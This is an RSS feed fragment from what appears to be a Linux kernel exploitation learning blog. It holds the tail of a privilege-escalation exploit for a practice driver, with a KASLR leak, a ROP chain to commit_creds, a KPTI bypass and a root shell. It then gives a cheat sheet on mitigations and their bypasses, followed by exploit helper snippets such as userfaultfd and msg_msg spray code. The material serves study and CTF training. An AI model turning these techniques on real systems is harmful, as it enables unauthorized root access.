    pthread_join(th[0], (void*)&amp;amp;overlapped_ptmx_fd);
  }
  if (overlapped_ptmx_fd == -1) {
    fatal(&amp;#34;overlapped_ptmx_fd&amp;#34;);
  }

#if PRINT_DEBUG == 1
  printf(&amp;#34;[+] Overlap success: ptmx=%d\n&amp;#34;, overlapped_ptmx_fd);
#endif
  return overlapped_ptmx_fd;
}

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main(void) {
  char buf[VULN_BUFFER_SIZE] = {
      0,
  };

  save_state();

  create_overlapped_fd();

  read(vuln_fd2, buf, sizeof(buf));
  kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  g_buf_addr = *(uint64_t*)(buf + 8 * 9) - 0x48;
  if ((kernel_base &amp;amp; 0xFFF) != 0) {
#if PRINT_DEBUG == 1
    puts(&amp;#34;[-] Adjust kernel_base&amp;#34;);
#endif
    kernel_base &amp;amp;= (~0xFFF);
  }
  if (0xffffffff81000000 &amp;gt; kernel_base || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[+] kernel_base: 0x%lx, g_buf_addr: 0x%lx\n&amp;#34;, kernel_base,
         g_buf_addr);
#endif

  uint64_t* rop_buf = (uint64_t*)buf;
  *rop_buf++ = PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX_RBX_RBP;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(vuln_fd2, buf, sizeof(buf));

  int overlapped_ptmx = create_overlapped_fd();
  read(vuln_fd2, buf, sizeof(buf));
  uint64_t tmp_kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  if ((tmp_kernel_base &amp;amp; 0xFFF) != 0) {
    tmp_kernel_base &amp;amp;= (~0xFFF);
  }
  if (tmp_kernel_base != kernel_base) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  *(uint64_t*)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(vuln_fd2, buf, sizeof(buf));

  ioctl(overlapped_ptmx, 0x00, g_buf_addr);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Kernel Basic</title>
      <link>/posts/kernel/basic/</link>
      <pubDate>Fri, 20 Dec 2024 07:50:22 +0000</pubDate>
      
      <guid>/posts/kernel/basic/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;elastic-oeap-objects&#34;&gt;Elastic oeap objects&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Struct name&lt;/th&gt;
          &lt;th&gt;Generic caches&lt;/th&gt;
          &lt;th&gt;Constraints&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/keys/user-type.h&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[32,32767)&lt;/td&gt;
          &lt;td&gt;only 200 allocation&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/mm_types.h&#34;&gt;&lt;code&gt;struct anon_vma_name&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,96)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/msg.h&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[64,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/ipc/msgutil.c&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/drm/drm_property.h&#34;&gt;&lt;code&gt;struct drm_property_blob&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[96,INT_MAX)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;char* description&lt;/code&gt; in &lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/key.h&#34;&gt;&lt;code&gt;struct key&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096&lt;/td&gt;
          &lt;td&gt;)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;mitigations&#34;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SMEP (Supervisor Mode Execution Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent RET2USER&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smep&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smep&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMEP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SMAP (Supervisor Mode Access Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Stack Pivot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smap&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMAP&lt;/code&gt;, &lt;code&gt;EFLAGS.AC&lt;/code&gt; (&lt;code&gt;STAC&lt;/code&gt; and &lt;code&gt;CLAC&lt;/code&gt; Assembly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KASLR (Kernel Address Space Layout Randomization) / FGKASLR (Function Granular KASLR)
&lt;ul&gt;
&lt;li&gt;Entrophy: &lt;code&gt;0xffffffff81000000&lt;/code&gt; ~ &lt;code&gt;0xffffffffc0000000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deactivation: &lt;code&gt;-append &amp;quot;...nokaslr...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KPTI (Kernel Page-Table Isolation)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Meltdown&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-append &amp;quot;...pti=on...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /sys/devices/system/cpu/vulnerabilities/meltdown&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bypass:
&lt;ul&gt;
&lt;li&gt;If SMAP is disabled, &lt;code&gt;mmap(?, ?, ~ | MAP_POPULATE, ?, ?)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If ROP is allowed, use &lt;code&gt;ireq&lt;/code&gt; in &lt;code&gt;swapgs_restore_regs_and_return_to_usermode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KADR (Kernel Address Display Restriction)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Hide address in &lt;code&gt;/proc/kallsyms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;image-related&#34;&gt;Image Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Unpack CPIO: &lt;code&gt;cpio -idv &amp;lt;../rootfs.cpio&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pack CPIO: &lt;code&gt;find. -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;debugging&#34;&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Extract vmlinux from bzImage from &lt;a href=&#34;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&#34;&gt;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;


  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;312654897&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;312654897&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;extract-vmlinux&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland &amp;lt;dick@streefland.net&amp;gt;
#
# (c) 2011      Corentin Chary &amp;lt;corentin.chary@gmail.com&amp;gt;
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it&amp;#39;s a valid ELF
	# TODO: find a better to way to check that it&amp;#39;s really vmlinux
	#       and not just an elf
	readelf -h $1 &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the &amp;#34;tr&amp;#34; filter is to work around older versions of
	# &amp;#34;grep&amp;#34; that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr &amp;#34;$1\n$2&amp;#34; &amp;#34;\n$2=&amp;#34; &amp;lt; &amp;#34;$img&amp;#34; | grep -abo &amp;#34;^$2&amp;#34;`
	do
		pos=${pos%%:*}
		tail -c+$pos &amp;#34;$img&amp;#34; | $3 &amp;gt; $tmp 2&amp;gt; /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s &amp;#34;$img&amp;#34; ]
then
	echo &amp;#34;Usage: $me &amp;lt;kernel-image&amp;gt;&amp;#34; &amp;gt;&amp;amp;2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap &amp;#34;rm -f $tmp&amp;#34; 0

# That didn&amp;#39;t work, so retry after decompression.
try_decompress &amp;#39;\037\213\010&amp;#39; xy    gunzip
try_decompress &amp;#39;\3757zXZ\000&amp;#39; abcde unxz
try_decompress &amp;#39;BZh&amp;#39;          xy    bunzip2
try_decompress &amp;#39;\135\0\0\0&amp;#39;   xxx   unlzma
try_decompress &amp;#39;\211\114\132&amp;#39; xy    &amp;#39;lzop -d&amp;#39;
try_decompress &amp;#39;\002!L\030&amp;#39;   xxx   &amp;#39;lz4 -d&amp;#39;
try_decompress &amp;#39;(\265/\375&amp;#39;   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo &amp;#34;$me: Cannot find vmlinux.&amp;#34; &amp;gt;&amp;amp;2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;build-exploit-code&#34;&gt;Build Exploit Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use GLIBC: &lt;code&gt;gcc exploit.c -o exploit -static&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use MUSL-GCC: &lt;code&gt;/usr/local/musl/bin/musl-gcc exploit.c -o exploit -static&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;or: &lt;code&gt;gcc -S exploit.c -o exploit.S; musl-gcc exploit.S -o exploit.elf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;code-snippet&#34;&gt;Code Snippet&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;132875469&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;132875469&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;utils.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000ull
#define KERNEL_BASE_END 0xffffffffc0000000ull
#define KERNEL_BASE_MASK (~0x00000000000fffffull)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define MIN(x, y) (x) &amp;lt; (y) ? (x) : (y)
#define MAX(x, y) (x) &amp;gt; (y) ? (x) : (y)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;218539746&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;218539746&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;save_restore_state.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdint.h&amp;gt;

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

// For iretq
// *rop_buf++ = (uint64_t)(get_shell); // user_rip
// *rop_buf++ = (uint64_t)(user_cs);
// *rop_buf++ = (uint64_t)(user_rflags);
// *rop_buf++ = (uint64_t)(user_sp);
// *rop_buf++ = (uint64_t)(user_ss);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;493872651&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;493872651&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;cpu.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;sched.h&amp;gt;

void pin_to_core(size_t core);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;162748395&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;162748395&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;user_key.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;561873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;561873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;msgmsg.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;718324965&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;718324965&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;uffd.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/vm/unprivileged_userfaultfd

#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

static void* userfault_template_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_template_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_template_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_template_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_template_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_template_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_template_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_template_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }

  munmap(page, 0x1000);
  return NULL;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;126358749&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;126358749&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/kernel/unprivileged_bpf_disabled

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

